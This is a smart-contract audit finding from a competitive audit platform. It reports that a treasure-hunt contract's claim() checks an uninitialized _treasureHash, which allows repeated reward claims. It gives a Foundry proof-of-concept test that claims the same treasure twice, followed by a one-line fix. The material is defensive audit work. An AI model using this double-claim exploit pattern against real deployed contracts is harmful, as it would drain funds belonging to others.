SNARKeling Treasure Hunt
First Flight #59
Beginner FriendlyGameFiFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

Incorrect claimed check uses uninitialized `_treasureHash`, allowing repeated claims for the same treasure

Author Revealed upon completion

Root + Impact

Description

  • The contract should prevent each treasure from being claimed more than once, but claim() checks claimed[_treasureHash] instead of claimed[treasureHash].

  • Because _treasureHash is never initialized, repeat claims for the same submitted treasureHash are not blocked.

if (claimed[_treasureHash]) revert AlreadyClaimed(treasureHash);
​

Risk

Likelihood:

  • A successful claimant already has all required values for a valid claim:

    • proof

    • treasureHash

    • recipient

  • Because the contract does not correctly check whether that specific treasureHash was already claimed, the same claim can be submitted again.

Impact:

  • The same treasure can be claimed multiple times, draining more rewards than intended. Since each claim pays REWARD, repeated claims can drain the contract balance until either:

    • claimsCount reaches MAX_TREASURES, or

    • the contract has less than REWARD ETH remaining.

  • This violates the core invariant that each treasure should only pay out once.

Proof of Concept

The PoC deploys the verifier and TreasureHunt contract with 100 ether, then loads a valid proof, treasureHash, and recipient from the generated fixtures. It calls claim() once successfully, then calls claim() again with the exact same proof and treasureHash; the second call incorrectly succeeds and pays another reward, proving the same treasure can be claimed multiple times.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.27;
​
import "forge-std/Test.sol";
import "forge-std/StdJson.sol";
​
import {TreasureHunt} from "../src/TreasureHunt.sol";
import {HonkVerifier} from "../src/Verifier.sol";
​
contract TreasureHuntDoubleClaimPoC is Test {
using stdJson for string;
​
HonkVerifier verifier;
TreasureHunt hunt;
​
address constant owner = address(0xDEADBEEF);
uint256 constant INITIAL_OWNER_BALANCE = 200 ether;
uint256 constant INITIAL_FUNDING = 100 ether;
​
function setUp() public {
vm.deal(owner, INITIAL_OWNER_BALANCE);
​
vm.startPrank(owner);
​
verifier = new HonkVerifier();
​
hunt = new TreasureHunt{value: INITIAL_FUNDING}(address(verifier));
​
vm.stopPrank();
}
​
function _loadFixture()
internal
view
returns (
bytes memory proof,
bytes32 treasureHash,
address payable recipient
)
{
proof = vm.readFileBinary("contracts/test/fixtures/proof.bin");
​
string memory json = vm.readFile(
"contracts/test/fixtures/public_inputs.json"
);
​
bytes memory raw = json.parseRaw(".publicInputs");
bytes32[] memory inputs = abi.decode(raw, (bytes32[]));
​
treasureHash = inputs[0];
recipient = payable(address(uint160(uint256(inputs[1]))));
}
​
function testPoC_sameTreasureCanBeClaimedMultipleTimes() public {
(
bytes memory proof,
bytes32 treasureHash,
address payable recipient
) = _loadFixture();
​
uint256 reward = hunt.REWARD();
​
uint256 recipientBalanceBefore = recipient.balance;
uint256 contractBalanceBefore = address(hunt).balance;
​
// First claim succeeds using a valid proof and treasure hash.
hunt.claim(proof, treasureHash, recipient);
​
assertTrue(hunt.claimed(treasureHash));
assertEq(hunt.claimsCount(), 1);
assertEq(recipient.balance, recipientBalanceBefore + reward);
assertEq(address(hunt).balance, contractBalanceBefore - reward);
​
// The same treasure hash is already marked as claimed, so this should
// revert. It does not, because claim() checks claimed[_treasureHash]
// instead of claimed[treasureHash].
hunt.claim(proof, treasureHash, recipient);
​
// The second claim incorrectly succeeds and pays the reward again.
assertTrue(hunt.claimed(treasureHash));
assertEq(hunt.claimsCount(), 2);
assertEq(recipient.balance, recipientBalanceBefore + (2 * reward));
assertEq(address(hunt).balance, contractBalanceBefore - (2 * reward));
}
}
​

Recommended Mitigation

Replace the incorrect _treasureHash lookup with the submitted treasureHash.

The unused immutable variable should also be removed to avoid future confusion:

- if (claimed[_treasureHash]) revert AlreadyClaimed(treasureHash);
+ if (claimed[treasureHash]) revert AlreadyClaimed(treasureHash);
- bytes32 private immutable _treasureHash;
​
​

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!